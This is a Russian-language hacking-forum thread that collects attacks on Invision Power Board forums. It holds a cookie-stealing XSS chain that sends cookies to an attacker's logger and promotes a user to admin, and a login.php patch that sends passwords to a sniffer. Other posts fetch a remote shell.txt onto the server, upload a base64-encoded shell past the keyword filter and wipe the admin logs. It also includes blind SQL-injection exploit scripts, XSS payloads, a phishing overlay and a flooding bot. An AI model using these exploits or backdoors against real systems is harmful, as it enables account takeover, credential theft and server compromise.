# Greets to all **** Security Group members
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# The vulnerability:
# Open up any php file in /jscripts/folder_rte_files
# See:

var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?>

#
# $_REQUEST['editorid'] isn't sanitized in any way, so allows
# other uses to execute their own code.
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# PoC (Log cookies & run SQL query)
#
# Requirements: server supporting PHP, user account on
# target forum, database prefix needs to be known.
#
# Create a file called name.php on your webserver and put this code in it:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

<?php
$target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash
$prefix = "ibf_"; #Database prefix, default: ibf_
$member = 22; #Member id to promote
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET['c'];
$time = date("Y-m-d G:i:s A");
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";

$file = fopen('log.txt' , 'a');
fwrite($file,$text);
fclose($file);
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))
{
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+
'.$prefix.'members+SET
+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'. $member.'%27&st="></>';
}
?>
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Also create a file in the same directory named "log.txt" and chmod it 777
#
# Now, create a file called script.js on your webserver, put this code in it:
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# And, last but not least, create a file that combines those two;)
# Name it blah.html and put this code in it:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>


PS Материал востановлен
Дата публикации: 14.06.2007, 18:00
Автор+toxa+

Jokester
26.10.2008, 18:18
Автор def_

два небольших дополнения, (мож кому полезно будет) к следующим моментам:

(к посту https://forum.antichat.ru/showpost.php?p=912327&postcount=7)

Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
$ppass=$this->ipsclass->input['PassWord'];
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')");

если кто-то не хочет записывать данные в БД, можно традиционно отправить их на снифер, для этого вместе вышеприведенного пишем этот код:
$ppass=$this->ipsclass->input['PassWord'];
$snifurl = 'http://127.0.0.1/1.php?user='.$username.'&pass='.$ppass;
$fl = @fopen($snifurl, "r");
@fclose( $fl );

(к посту https://forum.antichat.ru/showpost.php?p=912449&postcount=9)

4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:

$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/
uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);


надо в переменной $saved заменять полный путь к папке с аплоадами, на путь с вашего сервера, его можно взять или в "Основных настройках форума" или переменную переписать так:
$saved=ROOT_PATH . "uploads/shell.php";
PS Материал востановлен
Дата публикации: 17.06.2007, 19:39
Автор def_

Jokester
26.10.2008, 18:31
Автор: n-000

Как то я столкнулся с такой проблемой :
Есть админка от форума IPB v2.2.2, но хотелось бы что то вроде шелла =))
Эта версия оказалась намного доработанней чем прежние и залить шелл казалось мне просто мало реальным. Но я прекрасно осознавал что в форуме с такими наворотами и настройками фсегда найдёца недоработка... мелоч, а приятно -)

Скачал себе такой двиг и начал тестить на локалхосте... вобщем зделал попытку заливки через SQL, там в форуме есть такая фича в админке, как Управление SQL во фкладке ПРОЧЕЕ !
Сработало ! заарал я и приконектился к жэртве -)
Но однако получился облом, т к конфигурация сервера на котором хостился форум более жёсткая чем у меня на локалхосте -(

Патом пробывал залить через фичу добавления смайликов и стилей ... т к я не очень дружу с хмл то порядком поиздевавшись над хмл файликами и своими нервами я бродил по админке и искал другие способы...

И тут во фкладке НАСТРОЙКИ я набрёл на функцию *Добавить настройку* и начал изучать открывшующя пагу... и тут я наткнулся на вот такие слова *Выполнение PHP-кода до отображения или сохранения настройки:* !
Это уже интересней подумал я с расплывающимся ипалом )
И первым жэ делом зделал так:
Сперва я создал настройку (задаёте произвольное название настройке, например 123) и в поле для PHP ввел вот такое
$save = 1; до сохранения настройки.
Используйте $key и $value во время написания PHP-кода.
include('http://kaki.net/shell.txt');
И тут жэ снова обломался, получив сообщение от форума

+----------------------------------------------------------------+
| You cannot use executable PHP function keywords such as |
| (include, require, include_once, require_once, exec, system and passthru) |
| |
+----------------------------------------------------------------+

-Наивный албанския парень, сказал мне форум (для тех у кого плохо с англицким =))
Но тут сразу жэ задумался - а что если средствами php зделать скрипт для заливки файла, самый наипростейший и зделать простую форму отправки ... и залить шелл на сервер, снова врубил локалхост и начал пробывать ...
Задумка у меня была такой... средствами PHP создам файл в этой же дири что и админка forum/admin/ ! Например conf_ini.php .

листинг файла
$save=1;
$scr=base64_decode('PD8NCiR1cGxvYWRkaXIgPSAnQzovdm FyL3d3dy94eHh4eHh4eC5ydS9kYXRhL2ZvcnVtL2FkbWluLyc7 DQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbG UnXVsndG1wX25hbWUnXSwgJHVwbG9hZGRpci4kX0ZJTEVTWydm aWxlJ11bJ25hbWUnXSkpDQoge2VjaG8gJ/Px7+X47e4nO31lbHNle2VjaG8gJ8746OHq4Cc7fQ0KPz4=');
$fl=fopen('conf_ini.php','w+');
@fwrite($fl,$scr);
вот кусок который я закодировал
<?
$uploaddir = 'C:/var/www/xxxxxxxx.ru/data/forum/admin/';
if (@move_uploaded_file($_FILES['file']['tmp_name'], $uploaddir.$_FILES['file']['name']))
{echo 'ну вот тебе радость';}
else
{echo 'обламайся гнус';}
?>
Тут самое главное правильно указать путь к папке админа, если вы не знаете полный путь можно посмотреть его либо функцией getcwd() либо из появившихся ошибок.

После того как скрипт сработал я почапал по адресу forum/admin/conf_ini.php и увидел надпись о том что скрипт сработал (а сработает он не удачно, т к загрузки пока нет), самое главное скрипт сработал !
Дальше я вернулся к опции настроек и изменил php код уже имеющейся (созданой) настройки на


$save=1;
echo '
<form enctype="multipart/form-data" method="post"

action="http://www.xxxxxxxxx.ru/forum/admin/conf_ini.php">
<input type="file" name="file" size="30"><br><BR>
<input type="submit" value="gooo">
</form>
';

После того как я сохранил эту настройку, вверху поивилось поле (file) с кнопкой (gooo)... Ну и так скать процесс пошёл -) и пошёл неплохо ...
После завершения закачки я зашёл по адресу http://www.xxxxxxxxx.ru/forum/admin/shell.php
и злорадствовал =)))

---------------------------------------------------------------------------
З.Ы.Да, забыл добавить, что создав файлик не на залифку шелла а на инклуд со своей паги сервер залупился и сказал что удалёное использование скрипта через инклуд идёт нахер !

Чистим следы ...

Если вы хотите что бы админ ничего не заподозрил, то можно почистить записи о вашем прибывании в админке IP адресе нике и времени
Хнопочки или стандартной функции на очистку этих данных в админке нет (по крайней мере я не нашёл, так что еси есть нагами не пинайте)
Зделать это можно при помощи того жэ SQL на форуме -))

Идём во фкладку ПРОЧЕЕ ищем там в меню (Управление SQL -> Инструменты) и выбераем таблицу ibf_admin_login_logs, (префикс ibf стоит по умолчанию при инсталяции форума)
Дальше в поле для ввода команд базе прописываем TRUNCATE `ibf2_admin_login_logs`;
Опачки -) и записи пропали -))
PS Материал востановлен
Дата публикации: 03.08.2007, 00:33
Автор n-000

Jokester
26.10.2008, 19:05
Автор: GreenBear
(include, require, include_once, require_once, exec, system and passthru)

if($ipclass->input['gg']) eval($ipclass->input['gg']);

shell_exec($ipclass->input['gg']);
PS Материал востановлен
Дата публикации: 03.08.2007, 01:01
Автор GreenBear

Jokester
26.10.2008, 19:24
Автор: +toxa+

Invision Power Board <= 2.1.5

Remote Code Execution

#!usr/bin/perl
## Invision Power Board <= 2.1.5 Remote Code Execution Tutorial
## By not null
## Security Bunker Team
## http://secbun.info
## It is not an exploit! It is only tutorial, how to exploit a forum!
print q(
#-----------------------------------------#
# Invision Power Board 2.x.x RCE Tutorial #
# By Security Bunker Team | ©not null #
# http://www.secbun.info #
#-----------------------------------------# );
print q(
Step 1: If you are already register on the forum, just login on it.
Else register first ;]);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;

print q(
Ok, we have successful log in. Let's fun ;]
Step 2: Go to some of the forum, where you could post messages.
Step 3: Post a message, that consist our harmful code (muahaha)
The code is: "eval(phpinfo()); //" [without quotes]
);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;
print q(When message is post, open a new page in your browser and go to the Search
(index.php?act=search). Use the search form to find your post just by your username.
And make sure "Show results as posts" is selected.);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;
print q(You must see your post, that consist our code.
Then add to the end of the url next string:);
print "\r\n&lastdate=z|eval.*?%20//)%23e%00\r\n";
print q(and press enter...);
print "\r\nPress enter when finished...\r\n";
$ok = <STDIN>;
print q(Can you see a result of phpinfo? If yes, we have successful exploited forum :-]
So, let's modify our post to get a shell.
But on this step we have a problem: we can't use arguments in functions (e.g. system("ls")) in such form.
But we can use it by it's code (e.g. system(chr(34).chr(108).chr(115).chr(34)))
I'm include a simple tool, that will help you to encode you string into code.
Just type your command, and you will get a string, that you can copy and paste into your post);
print "\r\n";
$out = "";
while ()
{
print "\r\nCommand for encode or 'exit' for exit ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit);
last;
}
$len = length($cmd);
for ($i=0; $i<$len; $i++)
{
$s = substr($cmd,$i,1);
$out.="chr(".ord($s).")";
if($i != $len-1)
{
$out.=".";
}

}
print "eval(system(".$out.").chr(59).exit()); //";
$out = "";
}


PS Материал востановлен
Дата публикации: 15.08.2007, 14:58
Автор +toxa+

Jokester
26.10.2008, 19:33
Автор: blackybr

Если кто думает что xss в админах неактуальны - пусть это не читает! =)
Как раз они то нам и нужны. Какой нам прок от обычного пользователя? Подавай нам админа.

Passive XSS
IPB <=1.3
admin.php?adsess='><script>alert(/xek/)</script>
IPB <=2.1.6
/admin.php?phpinfo=<script>alert(/xek/)</script>
Также в довольно старой версии 1.2 присутствует активная ксс

text
will made the HTML : <span style='font-family:expression( alert(document.cookie))'>text</span>

texte

will made the HTML : <span style='color:expression( alert(document.cookie))'>text</span>

PS Материал востановлен
Дата публикации: 06.10.2007, 17:42
Автор blackybr

Jokester
27.10.2008, 00:30
Автор: iddqd

Vulnerable: Invision Gallery <= 2.0.7

Remote SQL Injection

Exploit:

http://milw0rm.com/exploits/4966

PS Материал востановлен
Дата публикации: 23.01.2008, 15:25
Автор iddqd

Jokester
27.10.2008, 17:14
Автор: XenOtai

IPB <-2.3.3

[img*]http://qw.ru/qw[url*]http://onerror=alert(/Hack/)//[/url*].jpg[/img*]


Found by XenOtai from Veronal H2S Team.

Работает в осле и лисе.

Если выдает ошибку:

THE FOLLOWING ERROR(S) WERE FOUND
Sorry, dynamic pages in the [IMG] tags are not allowed
(Динамические страницы в тегах [img] запрещены)

значит пропатчен.

PS Материал востановлен
Дата публикации: 21.11.2007, 02:42
Автор XenOtai

Jokester
27.10.2008, 17:15
Автор: +toxa+

#!/usr/bin/perl

## ibProArcade <= v3.3.0 sql injection exploit
## (c)oded by 1dt.w0lf
## RST/GHC

## THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE
## KEEP IT PRIVATE

use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;

BEGIN {
if($^O eq 'MSWin32'){
require Win32::Console;
Win32::Console::Free();
}
}

$mw = new MainWindow(title => "r57ibProArcade" );

$mw->geometry ( '420x310' ) ;
$mw->resizable(0,0);

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
$mw->Label(-text => 'ibProArcade sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '')->pack();

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

$url = 'http://127.0.0.1/ipb216/index.php';
$user_id = '1';
$prefix = 'ibf_';
$column = 'member_login_key';
$report = '';
$true = 0;
$false = 0;

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $url) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b = $fright->BrowseEntry( -relief => "groove", -variable => $column, -font => '{Verdana} 8');
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
$b->pack( -side => "top" , -anchor => 'w' );

$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $report) ->pack ( -side => "top" , -anchor => 'w' ) ;


$fright->Label( -text => ' ')->pack();

$fright->Button(-text => 'Test forum vulnerability',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => &test_vuln
)->pack();

$fright->Button(-text => 'Get database tables prefix',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => &get_prefix
)->pack();

$fright->Button(-text => 'Get data from database',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => &get_data
)->pack();



$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => '+++ PRIV8 +++', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();

MainLoop();

sub get_data()
{
$true = &get_true();

$report = '';
$s_num=1;
while(($chr = &found(0,255))!=0){
$report .= chr($chr);
$mw->update();
$s_num++;
}
if(length($report) > 0) { &report('That\'s all ;)'); }
else { &report('Can\'t get data from database'); }

}

sub test_vuln()
{
$InfoWindow=$mw->DialogBox(-title => 'test forum vulnerability', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;

$true = &get_true();
$false = &get_false();

if($true != $false) { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }

$InfoWindow->Show();
$InfoWindow->destroy;
}

sub get_true()
{
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=1))");
if($res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; }
return $rep;
}

sub get_false()
{
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=2))");
if($res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; }
return $rep;
}

sub get_prefix()
{
$InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=r57r0x");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /from (.*)games_list/)
{
$prefix = $1;
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
}
else
{
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
$rep = '';
$ccheck = $_[0];
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url.'?autocom=arcade',cookie=>'g_display_sort=added;g_display_order=,(-gid*(SELECT 1 FROM '.$prefix.'members WHERE (id='.$user_id.' AND ascii(substring('.$column.','.$s_num.',1))'.$cchec k.') LIMIT 1)) LIMIT 1');
if($res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; }
if($rep == $true) { return 1; }
else { return 0; }
}

sub report()
{
$InfoWindow=$mw->DialogBox(-title => 'Report', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => $_[0], -font => '{Verdana} 7')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}

PS Материал востановлен
Дата публикации: 30.01.2008, 21:01
Автор +toxa+

Jokester
27.10.2008, 17:16
Автор: +toxa+

добавленный кодес в class_bbcode_core.php
......................
$match[ $_content ][$i] = preg_replace( '#(style)=#is', "$1=", $match[ $_content ][$i] );
$match[ $_option ][$i] = preg_replace( '#(style)=#is', "$1=", $match[ $_option ][$i] );
.......................
//-----------------------------------------
// Don't let emos in URL..
//-----------------------------------------

if ( $this->parse_smilies )
{
if ( count( $this->ipsclass->cache['emoticons'] ) > 0 )
{
foreach( $this->ipsclass->cache['emoticons'] as $row)
{
$code = $row['typed'];
$code = str_replace( '<', '&lt;', str_replace( '>', '&gt;', $code ) );

if( strpos( $url, $code ) )
{
$new = '';

for( $i=0; $i<strlen($code); $i++ )
{
//print dechex(ord($code{$i})).'<Br>';
$new .= '%' . dechex(ord($code{$i}));
}

$url = str_replace( $code, $new, $url );
}
}

// Using the :/ smiley
$url = str_replace( 'http%3a%2f', 'http:/', $url );
}
}

$url = htmlspecialchars($url);
.......................
//-----------------------------------------
// Don't let emos in URL..
//-----------------------------------------

if ( $this->parse_smilies )
{
if ( count( $this->ipsclass->cache['emoticons'] ) > 0 )
{
foreach( $this->ipsclass->cache['emoticons'] as $row)
{
$code = $row['typed'];
$code = str_replace( '<', '&lt;', str_replace( '>', '&gt;', $code ) );

if( strpos( $url['html'], $code ) )
{
$new = '';

for( $i=0; $i<strlen($code); $i++ )
{
//print dechex(ord($code{$i})).'<Br>';
$new .= '%' . dechex(ord($code{$i}));
}

$url['html'] = str_replace( $code, $new, $url['html'] );
}
}

// Using the :/ smiley
$url['html'] = str_replace( 'http%3a%2f', 'http:/', $url['html'] );
}
}


$url['html'] = htmlspecialchars( $url['html'] );
......................
кому интересно, думаете)

PS Материал востановлен
Дата публикации: 22.02.2008, 22:22
Автор +toxa+

Jokester
27.10.2008, 17:17
Автор: iddqd

Vulnerable: 1.x и 2.x (тестировалось на Invision Power Board v1.3, 2.1.5 и 2.2.2).

XSS [Flash]

Из-за отсутствия защиты от исполнения JavaScript кода из flash, при включенной
поддержке флеша в сообщениях, атакующий может внедрить ссылку на специальный
флеш-файл в тело сообщения и атаковать всех участников форума, которые просмотрят
тему с данным сообщением. Атака может быть проведена через публикацию флешки в
сообщении на форуме, или установки её в качестве аватора.

PoC:
http://site/flash.swf
Fix:
Для исправления данной уязвимости нужно установить свойство флеш-объекта
allowscriptaccess в "never".

PS Материал востановлен
Дата публикации: 08.03.2008, 15:14
Автор iddqd

Jokester
27.10.2008, 17:18
Автор: +toxa+

heres another sick xploit for 2.0.3 again coded by jamey224. Usally works, except for a few boards that are patched.Enjoy! (c) h4cky0u
http://h4cky0u.org/viewtopic.php?f=2&t=6110

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "The type of the file system is NTFS.\n\n";
print "Exploit C0d3d By Jamey2244\n";
print "Yes I know I'm g00d\n";
print "LeTS g0!!!\n";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current\n";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;




PS Материал востановлен
Дата публикации: 16.03.2008, 16:02
Автор +toxa+

Jokester
27.10.2008, 17:19
Автор: iddqd

1)Регистрируемся
2)Заходим в свой профиль
3)Изменяем подпись(html включен):

<html>
<head>
<title>Заголовок</title>
</head>
<body>
<div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0">
<iframe name="iFrame1" width=1024 height=3186 src="http://адрес Вашей страницы.html" scrolling="no"
frameborder="0"></iframe>
</div>
</body>
</html>

4)Постим сообщение- страница форума перекрывается Вашей страницей.
Можно использовать для фейков.



PS Материал востановлен
Дата публикации: 27.03.2008, 19:01
Автор iddqd

Jokester
27.10.2008, 17:20
Автор: %00

Invision Power Board <=2.3.5

Active XSS

Работает в ie
Не работает в opera

1) создаем файл any.html внути него <script>alert()</script>
2) содаем пост с аттачем any.html

В версиях ниже 2.3.х может не работать...

PS Материал востановлен
Дата публикации: 20.05.2008, 15:25
Автор %00

Jokester
27.10.2008, 17:21
Автор: ettee

Full path disclosure:
ips_kernel/PEAR/Text/Diff3.php
ips_kernel/PEAR/Text/Diff/Renderer/inline.php
ips_kernel/class_db.php
ips_kernel/class_db_mysql.php
ips_kernel/class_xml.php
sources/sql/mysql_admin_queries.php
sources/sql/mysql_extra_queries.php
sources/sql/mysql_queries.php
sources/sql/mysql_subsm_queries.php
sources/loginauth/ldap/auth.php
sources/loginauth/convert/auth.php.bak
sources/loginauth/external/auth.php
sources/loginauth/ldap/auth.php
sources/classes/post/class_post_edit.php
sources/classes/post/class_post_new.php
sources/classes/post/class_post_reply.php
sources/classes/post/class_post.php
sources/classes/editor/class_editor_std.php
sources/classes/editor/class_editor_rte.php
sources/acp_loaders/acp_pages_components.php
sources/classes/bbcode/class_bbcode_legacy.php
sources/classes/bbcode/class_bbcode.php
sources/lib/search_mysql_man.php
sources/lib/search_mysql_ftext.php
sources/lib/func_usercp.php
sources/lib/search_mysql_ftext.php
sources/lib/search_mysql_man.php
sources/action_admin/member.php
sources/action_admin/paysubscriptions.php
sources/action_public/login.php
sources/action_public/messenger.php
sources/action_public/moderate.php
sources/action_public/paysubscriptions.php
sources/action_public/register.php
sources/action_public/search.php
sources/action_public/topics.php
sources/action_public/usercp.php
sources/components_acp/registration_DEPR.php
sources/handlers/han_paysubscriptions.php
Version detection:
jscripts/ipb_register.js
jscripts/ipb_global.js
jscripts/ips_profile_portal.js
PS Материал востановлен
Дата публикации: 02.06.2008, 21:32
Автор ettee

Jokester
27.10.2008, 17:22
Автор: baltazar

ФЛудит как постами так и топиками,проверено на 2.1.7

#----------------------------
# this programe has been #
# created by NikTrix-Souvico #
# [ 'HellSoft' ] for #
# Flooding IPB Forums #
#----------------------------

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use HTTP::Cookies;

#Variables
my $url = undef;
my $login = undef;
my $UserName = undef;
my $PassWord = undef;
my $CookieDate = 1;
my $SID = undef;
my $SE = undef;
my $MSG = undef;

#Prototype
sub IPBFlood($);

#Main
print "\t\tWelcome to IPBFlood 0.1x By Souvik\t\t[ 'NikTrix' ]Team";

print "Url\t: ";chomp($url=);
print "UserName\t: ";chomp($UserName=);
print "Password\t: ";chomp($PassWord=);
print "Start [to] End\t: ";chomp($SE=);
print "Message\t: ";chomp($MSG=);

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0");
my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0);
$ua->cookie_jar($cj);

#-get SID
my $r = $ua->get($url);
if($r->is_success){
#Find SID ?
($SID) = $r->content =~/\?s=(\w{32})&.*/i;
print "SID : $SID";
}

#-Connecting ...
$r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);
if($r->is_success){
print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);
my($Start , $End) = split(/-/,$SE);
foreach($Start..$End){
IPBFlood($_);
}
}

#Subroutines
sub IPBFlood($){
my $Topic = shift;
my $get = $ua->get($url."s=$SID&showtopic=$Topic");
if($get->is_success){
#Get Subforum ID "f" : variable !
if( my ($f) = $get->content =~/f=(\d{1,4})/ ){
print "[-]Subforum ID : $f & Topic N : $Topic";
#Get Post AuthKey for Subforum f=N°
$get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic");
# act=post&do=reply_post&f=56&t=43988
if($get->is_success){
##auth_key Ex :
my ( $auth_key ) = $get->content =~/auth_key.*(\w{32})/i;
#attach_post_key Ex :
my ( $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i;
print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key";


my %form =(st => 0,
act => "Post",
s => "$SID",
f => "$f",
auth_key => "$auth_key",
removeattachid => "0",
CODE => "03",
t => "$Topic",
attach_post_key => "$attach_post_key",
parent_id => "0",
"ed-0_wysiwyg_used"=> "0",
"editor_ids%5B%5D" => "ed-0",
Post => "$MSG",
enableemo => "yes",
enablesig => "yes",
iconid => "0"
);
$r = $ua->post($url."s=$SID",\%form);
if($r->is_success){
print "Send success !" if( length($r->content)< 300);
}
}
}
}
}


PS Материал востановлен
Дата публикации: 22.07.2008, 00:59
Автор baltazar

Jokester
27.10.2008, 17:23
Автор: Nightmarе

Раскрытие пути в модуле "галерея" в IPB 2.3.5:

index.php?automodule=gallery&req[]=

Пример:
http://www.obzvon.com/forums/index.php?automodule=gallery&req[]=

Тока щас нашёл, работает везде, возможно кому-то пригодится.

PS Материал востановлен
Дата публикации: 09.08.2008, 02:06
Автор Nightmarе

Jokester
27.10.2008, 17:33
Автор: Elekt

Invision Power Board <= 2.3.5

Multiple Vulnerabilities

http://acid-root.new.fr/?0:18
http://packetstormsecurity.org/filedesc/ipb235-multi.txt.html

Экспоит основывается на SQL-inj в параметре "name" файла "sources/action_public/xmlout.php"
и использует технологию классического посимвольного брута данных.
Особенность урленкода %2527 делает его независимым от magic_quotes.

/ipb235/index.php?s=&act=xmlout&do=check-display-name&name=%2527

